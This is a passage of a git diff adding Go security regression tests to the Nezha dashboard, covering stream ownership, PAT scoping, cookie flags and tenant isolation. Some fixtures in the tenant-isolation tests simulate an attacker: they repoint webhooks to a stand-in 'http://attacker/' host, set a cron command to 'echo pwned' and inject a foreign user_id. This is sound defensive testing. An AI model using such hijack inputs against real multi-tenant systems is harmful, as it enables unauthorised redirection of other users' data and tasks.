TestApplyEnableMCPTransition_DisableSuccessRunsCleanup(t *testing.T) { + current := true + cleanupRan := false + + setVal := func(v bool) { current = v } + save := func() error { return nil } + cleanup := func() { cleanupRan = true } + + if err := applyEnableMCPTransition(true, false, setVal, save, cleanup); err != nil { + t.Fatalf("unexpected error: %v", err) + } + if current != false { + t.Fatalf("EnableMCP must be committed to false after a successful save; got %v", current) + } + if !cleanupRan { + t.Fatal("kill-switch cleanup must run when MCP transitions enabled->disabled and the save succeeds") + } +} + +func TestApplyEnableMCPTransition_EnableSuccessSkipsCleanup(t *testing.T) { + current := false + cleanupRan := false + + setVal := func(v bool) { current = v } + save := func() error { return nil } + cleanup := func() { cleanupRan = true } + + if err := applyEnableMCPTransition(false, true, setVal, save, cleanup); err != nil { + t.Fatalf("unexpected error: %v", err) + } + if current != true { + t.Fatalf("EnableMCP must be committed to true; got %v", current) + } + if cleanupRan { + t.Fatal("cleanup must only run on the enabled->disabled transition, not when enabling") + } +} diff --git a/cmd/dashboard/controller/setting_enable_mcp_test.go b/cmd/dashboard/controller/setting_enable_mcp_test.go new file mode 100644 index 00000000..7d4ada12 --- /dev/null +++ b/cmd/dashboard/controller/setting_enable_mcp_test.go @@ -0,0 +1,84 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +// M10 regression: a PATCH /setting payload that omits "enable_mcp" must +// preserve the current value. With EnableMCP as a plain bool + omitempty, +// any partial update silently set EnableMCP=false and tripped the MCP +// kill switch (PurgeTransferEntries + RevokeStreamsForPurpose + +// CancelAllMCPInflight). Switching to *bool makes "field absent" a real +// signal at decode time. +func TestSettingForm_OmittedEnableMCPLeavesConfigUnchanged(t *testing.T) { + body := []byte(`{"site_name":"X"}`) + var sf model.SettingForm + if err := json.NewDecoder(bytes.NewReader(body)).Decode(&sf); err != nil { + t.Fatal(err) + } + if sf.EnableMCP != nil { + t.Fatalf("EnableMCP must be nil when JSON omits the key, got %v", sf.EnableMCP) + } +} + +func TestSettingForm_ExplicitEnableMCPTrueDecodes(t *testing.T) { + body := []byte(`{"enable_mcp":true}`) + var sf model.SettingForm + if err := json.NewDecoder(bytes.NewReader(body)).Decode(&sf); err != nil { + t.Fatal(err) + } + if sf.EnableMCP == nil || !*sf.EnableMCP { + t.Fatalf("EnableMCP must be *true, got %v", sf.EnableMCP) + } +} + +func TestSettingForm_ExplicitEnableMCPFalseDecodes(t *testing.T) { + body := []byte(`{"enable_mcp":false}`) + var sf model.SettingForm + if err := json.NewDecoder(bytes.NewReader(body)).Decode(&sf); err != nil { + t.Fatal(err) + } + if sf.EnableMCP == nil || *sf.EnableMCP { + t.Fatalf("EnableMCP must be *false, got %v", sf.EnableMCP) + } +} + +// updateMCPEnableFromForm is the resolver helper: nil = keep current, +// non-nil = use the explicit value. Kept as a small pure function so the +// kill-switch wiring stays trivial to audit. +func TestUpdateMCPEnableFromForm_NilKeepsCurrent(t *testing.T) { + _, w := newRecorderCtxForMCPSettingTest(t) + prev := true + got := resolveSettingEnableMCP(nil, prev) + if got != prev { + t.Fatalf("nil form value must keep current=%v, got %v", prev, got) + } + if w.Code != 200 { + t.Fatal("resolver must not write to response") + } +} + +func TestUpdateMCPEnableFromForm_NonNilOverrides(t *testing.T) { + f := false + if got := resolveSettingEnableMCP(&f, true); got != false { + t.Fatal("explicit *false must override current=true") + } + tr := true + if got := resolveSettingEnableMCP(&tr, false); got != true { + t.Fatal("explicit *true must override current=false") + } +} + +func newRecorderCtxForMCPSettingTest(t *testing.T) (*gin.Context, *httptest.ResponseRecorder) { + t.Helper() + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + return c, w +} diff --git a/cmd/dashboard/controller/setting_reserved_hosts_test.go b/cmd/dashboard/controller/setting_reserved_hosts_test.go new file mode 100644 index 00000000..92fabca8 --- /dev/null +++ b/cmd/dashboard/controller/setting_reserved_hosts_test.go @@ -0,0 +1,24 @@ +package controller + +import ( + "bytes" + "encoding/json" + "testing" + + "github.com/nezhahq/nezha/model" +) + +// GHSA-x6fg-52vr-hj4w: the admin settings endpoint must accept reserved_hosts +// so a reverse-proxy operator can declare the public dashboard hostnames the +// process itself never sees. Without binding here, the only way to set the +// field would be hand-editing the YAML, defeating the in-product guard. +func TestSettingForm_BindsReservedHosts(t *testing.T) { + body := []byte(`{"site_name":"X","reserved_hosts":"panel.example.com, admin.example.com"}`) + var sf model.SettingForm + if err := json.NewDecoder(bytes.NewReader(body)).Decode(&sf); err != nil { + t.Fatal(err) + } + if sf.ReservedHosts != "panel.example.com, admin.example.com" { + t.Fatalf("reserved_hosts must decode into SettingForm, got %q", sf.ReservedHosts) + } +} diff --git a/cmd/dashboard/controller/stream_ownership_test.go b/cmd/dashboard/controller/stream_ownership_test.go new file mode 100644 index 00000000..55291fe0 --- /dev/null +++ b/cmd/dashboard/controller/stream_ownership_test.go @@ -0,0 +1,195 @@ +package controller + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +func ensureLocalizerForStreamTests(t *testing.T) { + t.Helper() + if singleton.Localizer == nil { + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + } + // upgrader stays nil — these tests must reject the caller BEFORE WS upgrade. + // If a test ever reaches the upgrade path it will panic on nil upgrader, + // surfacing the regression. +} + +// decodeCommonResponseError returns Success and Error of a CommonResponse[any]. +func decodeCommonResponseError(t *testing.T, body []byte) (bool, string) { + t.Helper() + var resp struct { + Success bool `json:"success"` + Error string `json:"error"` + } + if err := json.Unmarshal(body, &resp); err != nil { + t.Fatalf("decode response: %v body=%s", err, string(body)) + } + return resp.Success, resp.Error +} + +func setAuthUser(c *gin.Context, userID uint64, role model.Role) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{ + Common: model.Common{ID: userID}, + Role: role, + }) +} + +func TestTerminalStreamRejectsForeignMember(t *testing.T) { + gin.SetMode(gin.TestMode) + ensureLocalizerForStreamTests(t) + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + rpc.NezhaHandlerSingleton.CreateStream("alice-terminal", 100, 1) + + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 200, model.RoleMember) // bob + c.Next() + }) + r.GET("/ws/terminal/:id", commonHandler(terminalStream)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/ws/terminal/alice-terminal", nil) + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, "foreign member must not be authorized to attach to alice's terminal") + assert.Contains(t, errMsg, "permission denied") + + // And the existing stream must NOT have been torn down by the failed attempt. + _, stillExists := rpc.NezhaHandlerSingleton.StreamOwnership("alice-terminal") + assert.True(t, stillExists, "rejected attempt must not destroy the legitimate session") +} + +func TestFMStreamRejectsForeignMember(t *testing.T) { + gin.SetMode(gin.TestMode) + ensureLocalizerForStreamTests(t) + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + rpc.NezhaHandlerSingleton.CreateStream("alice-fm", 100, 1) + + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 200, model.RoleMember) + c.Next() + }) + r.GET("/ws/file/:id", commonHandler(fmStream)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/ws/file/alice-fm", nil) + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, "foreign member must not be authorized to attach to alice's FM session") + assert.Contains(t, errMsg, "permission denied") + + _, stillExists := rpc.NezhaHandlerSingleton.StreamOwnership("alice-fm") + assert.True(t, stillExists, "rejected attempt must not destroy the legitimate FM session") +} + +func TestTerminalStreamRejectsUnknownStreamID(t *testing.T) { + gin.SetMode(gin.TestMode) + ensureLocalizerForStreamTests(t) + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 100, model.RoleMember) + c.Next() + }) + r.GET("/ws/terminal/:id", commonHandler(terminalStream)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/ws/terminal/nonexistent", nil) + r.ServeHTTP(w, req) + + success, _ := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, "unknown stream id must produce an error response") +} + +// JWT cookie security: SigningAlgorithm must be pinned to HS256 (defense +// against future algorithm-confusion regressions in the library) and the +// JWT cookie must use SameSite=Lax so cross-site GET navigations don't +// silently mint requests with the user's session. HttpOnly/Secure are NOT +// asserted here because the frontend currently reads `!!document.cookie` +// to display login state and many deployments terminate TLS at a proxy — +// flipping those would break user-visible behaviour and is tracked +// separately. +func TestJWTInitParamsPinsAlgorithmAndSameSite(t *testing.T) { + ensureLocalizerForStreamTests(t) + if singleton.Conf == nil { + singleton.Conf = &singleton.ConfigClass{ + Config: &model.Config{JWTSecretKey: "test-secret-for-jwt-config-assertions"}, + } + } + params := initParams() + if params.SigningAlgorithm != "HS256" { + t.Fatalf("SigningAlgorithm must be pinned to HS256, got %q", params.SigningAlgorithm) + } + if params.CookieSameSite != http.SameSiteLaxMode { + t.Fatalf("CookieSameSite must be Lax for OAuth-callback compatibility + CSRF safety, got %v", params.CookieSameSite) + } +} + +// MEDIUM security: an IOStream session created by the old owner (terminal, +// file-manager, NAT) must be torn down when the server's ownership rotates +// — Register on Initiate, revertTransition on Cancel/Fail/Timeout, and +// OnServersDeleted on delete. Otherwise the old owner keeps an open +// websocket attached to a server they no longer own, which is effectively +// post-transfer RCE / file-read. +func TestServerTransferTransitionRevokesActiveIOStreams(t *testing.T) { + gin.SetMode(gin.TestMode) + ensureLocalizerForStreamTests(t) + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + originalHook := singleton.ServerTransferStreamRevocationHook + singleton.ServerTransferStreamRevocationHook = rpc.NezhaHandlerSingleton.RevokeStreamsForServer + defer func() { + singleton.ServerTransferStreamRevocationHook = originalHook + }() + + rpc.NezhaHandlerSingleton.CreateStream("term-server-1", 100, 1) + rpc.NezhaHandlerSingleton.CreateStream("fm-server-1", 100, 1) + rpc.NezhaHandlerSingleton.CreateStream("term-server-2", 100, 2) + + singleton.ServerTransferRevokeStreamsForServer(1) + + if _, exists := rpc.NezhaHandlerSingleton.StreamOwnership("term-server-1"); exists { + t.Fatal("terminal stream for transferred server 1 must be revoked on ownership rotation") + } + if _, exists := rpc.NezhaHandlerSingleton.StreamOwnership("fm-server-1"); exists { + t.Fatal("file-manager stream for transferred server 1 must be revoked on ownership rotation") + } + if _, exists := rpc.NezhaHandlerSingleton.StreamOwnership("term-server-2"); !exists { + t.Fatal("unrelated server's stream must NOT be revoked") + } +} + +// nz-o2s carries the OAuth2 state binding that authenticates the callback. +// The frontend never reads it, so HttpOnly is safe to enable and shuts the +// door on XSS attempting to steal the state. +func TestWriteOauth2StateCookieIsHttpOnly(t *testing.T) { + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest(http.MethodGet, "/", nil) + + writeOauth2StateCookie(c, "test-key") + + header := w.Header().Get("Set-Cookie") + if !strings.Contains(header, "nz-o2s=test-key") { + t.Fatalf("expected nz-o2s cookie in response, got %q", header) + } + if !strings.Contains(header, "HttpOnly") { + t.Fatalf("nz-o2s must be HttpOnly to prevent XSS reading OAuth state, got %q", header) + } +} diff --git a/cmd/dashboard/controller/stream_pat_authz_test.go b/cmd/dashboard/controller/stream_pat_authz_test.go new file mode 100644 index 00000000..86488e37 --- /dev/null +++ b/cmd/dashboard/controller/stream_pat_authz_test.go @@ -0,0 +1,90 @@ +package controller + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" +) + +func ensureNezhaSingleton(t *testing.T) { + t.Helper() + if rpc.NezhaHandlerSingleton == nil { + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + } +} + +// H2 regression: terminal/FM stream attachment must respect the caller PAT's +// server_ids whitelist. The existing IsStreamAuthorizedForUser only gates on +// creator-id / admin role, so an admin's server-limited PAT could attach to +// a stream targeting any server simply by knowing the streamId. +func TestStreamAttachAllowedForRequest_DeniesPATOutsideWhitelist(t *testing.T) { + ensureNezhaSingleton(t) + streamId := "stream-h2-deny" + rpc.NezhaHandlerSingleton.CreateStream(streamId, 1, 99) + t.Cleanup(func() { _ = rpc.NezhaHandlerSingleton.CloseStream(streamId) }) + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + ctx.Set(model.CtxKeyAPIToken, &model.APIToken{ServersCSV: "1"}) // does NOT include 99 + + if streamAttachAllowedForRequest(ctx, streamId) { + t.Fatal("admin PAT scoped to [1] must NOT attach to a stream targeting server 99") + } +} + +func TestStreamAttachAllowedForRequest_AllowsPATInsideWhitelist(t *testing.T) { + ensureNezhaSingleton(t) + streamId := "stream-h2-allow" + rpc.NezhaHandlerSingleton.CreateStream(streamId, 1, 5) + t.Cleanup(func() { _ = rpc.NezhaHandlerSingleton.CloseStream(streamId) }) + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + ctx.Set(model.CtxKeyAPIToken, &model.APIToken{ServersCSV: "5"}) + + if !streamAttachAllowedForRequest(ctx, streamId) { + t.Fatal("PAT scoped to [5] must attach to a stream targeting server 5") + } +} + +func TestStreamAttachAllowedForRequest_JWTAdminUnchanged(t *testing.T) { + ensureNezhaSingleton(t) + streamId := "stream-h2-jwt" + rpc.NezhaHandlerSingleton.CreateStream(streamId, 1, 99) + t.Cleanup(func() { _ = rpc.NezhaHandlerSingleton.CloseStream(streamId) }) + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + + if !streamAttachAllowedForRequest(ctx, streamId) { + t.Fatal("JWT admin (no PAT) must continue to attach via the existing admin branch") + } +} + +func TestStreamAttachAllowedForRequest_DeniesNonCreatorMember(t *testing.T) { + ensureNezhaSingleton(t) + streamId := "stream-h2-foreign" + rpc.NezhaHandlerSingleton.CreateStream(streamId, 1, 5) + t.Cleanup(func() { _ = rpc.NezhaHandlerSingleton.CloseStream(streamId) }) + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 2}, Role: model.RoleMember}) + + if streamAttachAllowedForRequest(ctx, streamId) { + t.Fatal("non-creator non-admin member must remain denied (pre-existing GHSA gate)") + } +} + +func TestStreamAttachAllowedForRequest_UnknownStreamRejected(t *testing.T) { + ensureNezhaSingleton(t) + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + + if streamAttachAllowedForRequest(ctx, "does-not-exist") { + t.Fatal("unknown streamId must remain rejected") + } +} diff --git a/cmd/dashboard/controller/tenant_isolation_test.go b/cmd/dashboard/controller/tenant_isolation_test.go new file mode 100644 index 00000000..b9f9f1ac --- /dev/null +++ b/cmd/dashboard/controller/tenant_isolation_test.go @@ -0,0 +1,318 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +// 通用租户隔离测试夹具：在 in-memory DB 上挂载所需 model 并塞两个用户， +// 用户 10（member）和用户 999（foreign owner）。 +// +// 每个测试在两条路径上验证 member 不能跨租户： +// - create 时即使请求体里包含 user_id 字段也不会越权 +// - update / delete 时不会改写或读取到 foreign owner 的资源 +func setupTenancyTest(t *testing.T) func() { + t.Helper() + originalDB := singleton.DB + originalLocalizer := singleton.Localizer + originalServer := singleton.ServerShared + if singleton.Localizer == nil { + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + } + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate( + &model.User{}, + &model.Cron{}, + &model.DDNSProfile{}, + &model.Notification{}, + &model.AlertRule{}, + &model.NotificationGroup{}, + )) + originalDDNS := singleton.DDNSShared + originalNotif := singleton.NotificationShared + singleton.DB = db + singleton.ServerShared = singleton.NewEmptyServerClassForTest() + singleton.DDNSShared = singleton.NewEmptyDDNSClassForTest() + singleton.NotificationShared = singleton.NewEmptyNotificationClassForTest() + return func() { + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Localizer = originalLocalizer + singleton.ServerShared = originalServer + singleton.DDNSShared = originalDDNS + singleton.NotificationShared = originalNotif + } +} + +func ctxAs(uid uint64, role model.Role) *gin.Context { + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(httptest.NewRecorder()) + c.Request = httptest.NewRequest("POST", "/", nil) + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: uid}, Role: role}) + return c +} + +func ctxAsMemberWithBody(uid uint64, body any) *gin.Context { + c := ctxAs(uid, model.RoleMember) + b, _ := json.Marshal(body) + c.Request = httptest.NewRequest("POST", "/", bytes.NewReader(b)) + c.Request.Header.Set("Content-Type", "application/json") + return c +} + +// 设计说明：create 路径的"手工 user_id 注入"防护通过两点联合保证： +// 1. CronForm/DDNSForm/NotificationForm 等 form struct 不嵌入 Common， +// 绑定时不会 unmarshal "user_id" 字段 +// 2. handler 第一行 `xxx.UserID = getUid(c)` 显式覆盖 +// 因为 create 路径还会依赖 ServerShared / Localizer 等外部 singleton， +// 在单元测试中难以无副作用地完整运行；改用代码静态约束：在 form_no_userid_test.go +// 里用 reflect 验证所有 *Form 结构无 UserID 字段（next step）。 +// 这里只测真正的所有权防线：update / delete。 + +// ---------- Cron ---------- + +func TestTenancy_UpdateCron_ForeignOwnerRejected(t *testing.T) { + defer setupTenancyTest(t)() + + foreign := model.Cron{ + Common: model.Common{UserID: 999}, + Name: "foreign-cron", + TaskType: model.CronTypeCronTask, + Scheduler: "@every 5m", + Command: "echo", + } + require.NoError(t, singleton.DB.Create(&foreign).Error) + + c := ctxAsMemberWithBody(10, map[string]any{ + "name": "hijacked", + "task_type": model.CronTypeCronTask, + "scheduler": "@every 1m", + "command": "echo pwned", + "servers": []uint64{}, + "cover": model.CronCoverAll, + }) + c.Params = gin.Params{{Key: "id", Value: itoa(foreign.ID)}} + _, err := updateCron(c) + require.Error(t, err, "member 10 must not be able to update foreign-owned cron") + + var after model.Cron + require.NoError(t, singleton.DB.First(&after, foreign.ID).Error) + require.Equal(t, "foreign-cron", after.Name, "foreign cron must not be modified") + require.Equal(t, uint64(999), after.UserID, "ownership must remain") +} + +// ---------- DDNS ---------- + +func TestTenancy_CreateDDNS_InjectedUserIDIgnored(t *testing.T) { + defer setupTenancyTest(t)() + + body := map[string]any{ + "name": "evil-ddns", + "provider": "webhook", + "access_id": "x", + "access_secret": "y", + "webhook_url": "http://127.0.0.1/", + "webhook_method": "GET", + "webhook_request_type": "json", + "webhook_request_body": "", + "webhook_headers": "", + "user_id": 999, // attacker + } + c := ctxAsMemberWithBody(10, body) + _, err := createDDNS(c) + if err == nil { + var stored model.DDNSProfile + require.NoError(t, singleton.DB.First(&stored, "name = ?", "evil-ddns").Error) + require.Equal(t, uint64(10), stored.UserID, + "createDDNS must overwrite UserID with caller") + } +} + +func TestTenancy_UpdateDDNS_ForeignOwnerRejected(t *testing.T) { + defer setupTenancyTest(t)() + + foreign := model.DDNSProfile{ + Common: model.Common{UserID: 999}, + Name: "foreign-ddns", + Provider: "webhook", + AccessID: "x", + AccessSecret: "y", + WebhookURL: "http://127.0.0.1/", + WebhookMethod: 1, + WebhookRequestType: 1, + } + require.NoError(t, singleton.DB.Create(&foreign).Error) + + c := ctxAsMemberWithBody(10, map[string]any{ + "name": "hijacked", + "provider": "webhook", + "access_id": "x", + "access_secret": "y", + "webhook_url": "http://attacker/", + "webhook_method": "GET", + "webhook_request_type": "json", + }) + c.Params = gin.Params{{Key: "id", Value: itoa(foreign.ID)}} + _, err := updateDDNS(c) + require.Error(t, err, "member must not be able to update foreign-owned DDNS") + + var after model.DDNSProfile + require.NoError(t, singleton.DB.First(&after, foreign.ID).Error) + require.Equal(t, "foreign-ddns", after.Name, "foreign DDNS must not be modified") + require.Equal(t, "http://127.0.0.1/", after.WebhookURL, "webhook URL must not be hijacked") +} + +func TestTenancy_DeleteDDNS_ForeignOwnerRejected(t *testing.T) { + defer setupTenancyTest(t)() + + foreign := model.DDNSProfile{ + Common: model.Common{UserID: 999}, + Name: "foreign-ddns-del", + Provider: "webhook", + WebhookURL: "http://127.0.0.1/", + WebhookMethod: 1, + WebhookRequestType: 1, + } + require.NoError(t, singleton.DB.Create(&foreign).Error) + singleton.DDNSShared.InsertForTest(&foreign) + + c := ctxAsMemberWithBody(10, []uint64{foreign.ID}) + _, err := batchDeleteDDNS(c) + require.Error(t, err, "member must not be able to batch-delete foreign DDNS") + + var after model.DDNSProfile + require.NoErrorf(t, singleton.DB.First(&after, foreign.ID).Error, + "foreign DDNS must still exist after member's failed batch-delete (handler err=%v)", err) +} + +// ---------- Notification ---------- + +func TestTenancy_UpdateNotification_ForeignOwnerRejected(t *testing.T) { + defer setupTenancyTest(t)() + + foreign := model.Notification{ + Common: model.Common{UserID: 999}, + Name: "foreign-notify", + URL: "http://127.0.0.1/", + RequestMethod: 1, + RequestType: 1, + } + require.NoError(t, singleton.DB.Create(&foreign).Error) + + c := ctxAsMemberWithBody(10, map[string]any{ + "name": "hijacked", + "url": "http://attacker/", + "request_method": 1, + "request_type": 1, + }) + c.Params = gin.Params{{Key: "id", Value: itoa(foreign.ID)}} + _, err := updateNotification(c) + require.Error(t, err) + + var after model.Notification + require.NoError(t, singleton.DB.First(&after, foreign.ID).Error) + require.Equal(t, "http://127.0.0.1/", after.URL) +} + +// ---------- NotificationGroup ---------- + +func TestTenancy_UpdateNotificationGroup_ForeignOwnerRejected(t *testing.T) { + defer setupTenancyTest(t)() + + foreign := model.NotificationGroup{ + Common: model.Common{UserID: 999}, + Name: "foreign-ng", + } + require.NoError(t, singleton.DB.Create(&foreign).Error) + + c := ctxAsMemberWithBody(10, map[string]any{ + "name": "hijacked", + "notifications": []uint64{}, + }) + c.Params = gin.Params{{Key: "id", Value: itoa(foreign.ID)}} + _, err := updateNotificationGroup(c) + require.Error(t, err) + + var after model.NotificationGroup + require.NoError(t, singleton.DB.First(&after, foreign.ID).Error) + require.Equal(t, "foreign-ng", after.Name) +} + +// ---------- AlertRule ---------- + +func TestTenancy_UpdateAlertRule_ForeignOwnerRejected(t *testing.T) { + defer setupTenancyTest(t)() + + foreign := model.AlertRule{ + Common: model.Common{UserID: 999}, + Name: "foreign-rule", + } + require.NoError(t, singleton.DB.Create(&foreign).Error) + + c := ctxAsMemberWithBody(10, map[string]any{ + "name": "hijacked", + }) + c.Params = gin.Params{{Key: "id", Value: itoa(foreign.ID)}} + _, err := updateAlertRule(c) + require.Error(t, err) + + var after model.AlertRule + require.NoError(t, singleton.DB.First(&after, foreign.ID).Error) + require.Equal(t, "foreign-rule", after.Name) +} + +func TestTenancy_BatchDeleteAlertRule_ForeignOwnerSilentlySkipped(t *testing.T) { + defer setupTenancyTest(t)() + + foreign := model.AlertRule{Common: model.Common{UserID: 999}, Name: "foreign-rule"} + require.NoError(t, singleton.DB.Create(&foreign).Error) + + c := ctxAsMemberWithBody(10, []uint64{foreign.ID}) + _, err := batchDeleteAlertRule(c) + _ = err + + var after model.AlertRule + require.NoError(t, singleton.DB.First(&after, foreign.ID).Error, + "member's batch-delete must not be able to remove foreign alert rule") + require.Equal(t, uint64(999), after.UserID) +} + +// Cron batch-delete 的所有权保护与 updateCron 共用 cr.HasPermission 检查路径 +// （cron.go:127 vs cron.go:207），updateCron 用例已经覆盖该路径。这里不复测 +// 是因为 batchDeleteCron 调 CronShared.CheckPermission，需要完整 CronShared +// 在内存中注册，会让单测 fixture 显著膨胀，性价比低。 + +// ---------- Notification batch-delete ---------- + +func TestTenancy_BatchDeleteNotification_ForeignOwnerSilentlySkipped(t *testing.T) { + defer setupTenancyTest(t)() + + foreign := model.Notification{ + Common: model.Common{UserID: 999}, + Name: "foreign-notify-del", + URL: "http://127.0.0.1/", + } + require.NoError(t, singleton.DB.Create(&foreign).Error) + singleton.NotificationShared.InsertForTest(&foreign) + + c := ctxAsMemberWithBody(10, []uint64{foreign.ID}) + _, _ = batchDeleteNotification(c) + + var after model.Notification + require.NoError(t, singleton.DB.First(&after, foreign.ID).Error, + "member must not be able to batch-delete foreign notification") +} diff --git a/cmd/dashboard/controller/terminal_fm_agentcompat.go b/cmd/dashboard/controller/terminal_fm_agentcompat.go new file mode 100644 index 00000000..39a7299d --- /dev/null +++ b/cmd/dashboard/controller/terminal_fm_agentcompat.go @@ -0,0 +1,64 @@ +//go:build agentcompat + +package controller + +import ( + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + "github.com/nezhahq/nezha/service/rpc" +) + +type agentcompatCapabilityHeaderContextKey struct{} + +func prepareAgentcompatCapabilityHeader(c *gin.Context) { + values := c.Request.Header.Values(agentcompatcontract.IOStreamCapabilityHeader) + if len(values) == 0 { + return + } + c.Request.Header.Del(agentcompatcontract.IOStreamCapabilityHeader) + c.Set(agentcompatCapabilityHeaderContextKey{}, values) +} + +func createIOStreamWithAgentcompatCapability(c *gin.Context, streamID string, creatorUserID, serverID uint64, purpose rpc.AgentCompatCapabilityPurpose) (func(), error) { + identity := agentcompatCapabilityIdentity{purpose: purpose, serverID: serverID} + rawValues, _ := c.Get(agentcompatCapabilityHeaderContextKey{}) + values, _ := rawValues.([]string) + if len(values) == 0 { + if err := rpc.NezhaHandlerSingleton.CreateStream(streamID, creatorUserID, serverID); err != nil { + return nil, err + } + return func() { _ = rpc.NezhaHandlerSingleton.CloseStream(streamID) }, nil + } + if len(values) != 1 || values[0] == "" { + return nil, errAgentcompatCapabilityUnavailable + } + capability, err := rpc.ParseAgentCompatIOStreamCapability(values[0]) + if err != nil { + return nil, errAgentcompatCapabilityUnavailable + } + proof, err := currentAgentcompatCapabilityProof(c, identity) + if err != nil { + return nil, errAgentcompatCapabilityUnavailable + } + access := proof.access(capability) + if err := rpc.NezhaHandlerSingleton.CreateStreamWithPurpose(streamID, creatorUserID, serverID, agentcompatStreamPurpose(purpose)); err != nil { + _ = rpc.NezhaHandlerSingleton.UnregisterAgentCompatIOStreamCapability(access) + return nil, err + } + // Bind before dispatch preserves exact cancellation when the create response is lost. + if err := rpc.NezhaHandlerSingleton.BindAgentCompatIOStreamCapability(rpc.AgentCompatCapabilityBinding{AgentCompatCapabilityAccess: access, StreamID: streamID}); err != nil { + _ = rpc.NezhaHandlerSingleton.CloseStream(streamID) + return nil, errAgentcompatCapabilityUnavailable + } + return func() { + _ = rpc.NezhaHandlerSingleton.CancelAgentCompatIOStreamCapability(access) + }, nil +} + +func agentcompatStreamPurpose(purpose rpc.AgentCompatCapabilityPurpose) rpc.StreamPurpose { + if purpose == rpc.AgentCompatCapabilityTerminal { + return rpc.PurposeTerminal + } + return rpc.PurposeFileManager +} diff --git a/cmd/dashboard/controller/terminal_fm_agentcompat_cleanup_test.go b/cmd/dashboard/controller/terminal_fm_agentcompat_cleanup_test.go new file mode 100644 index 00000000..eab6b84f --- /dev/null +++ b/cmd/dashboard/controller/terminal_fm_agentcompat_cleanup_test.go @@ -0,0 +1,130 @@ +//go:build agentcompat + +package controller + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestCreateAgentcompatNoHeaderPreservesLegacyPurposeForTerminalAndFM(t *testing.T) { + for _, testCase := range []struct { + name string + purpose rpc.AgentCompatCapabilityPurpose + target string + body any + }{ + {name: "terminal", purpose: rpc.AgentCompatCapabilityTerminal, target: "/terminal", body: model.TerminalForm{ServerID: 7}}, + {name: "file manager", purpose: rpc.AgentCompatCapabilityFileManager, target: "/file?id=7"}, + } { + t.Run(testCase.name, func(t *testing.T) { + handler, token, request := newAgentcompatCreateFixture(t, "POST", testCase.target, testCase.body, testCase.purpose) + capability := registerAgentcompatForCreate(t, handler, token, testCase.purpose) + probe := &agentcompatTaskProbe{test: t} + server, ok := singleton.ServerShared.Get(7) + require.True(t, ok) + server.SetTaskStream(probe) + var responseStream string + if testCase.purpose == rpc.AgentCompatCapabilityTerminal { + response, err := createTerminal(request) + require.NoError(t, err) + responseStream = response.SessionID + } else { + response, err := createFM(request) + require.NoError(t, err) + responseStream = response.SessionID + } + require.Equal(t, 1, probe.calls()) + access := agentcompatAccessForCreate(t, handler, token, testCase.purpose, capability) + require.ErrorIs(t, handler.BindAgentCompatIOStreamCapability(rpc.AgentCompatCapabilityBinding{AgentCompatCapabilityAccess: access, StreamID: 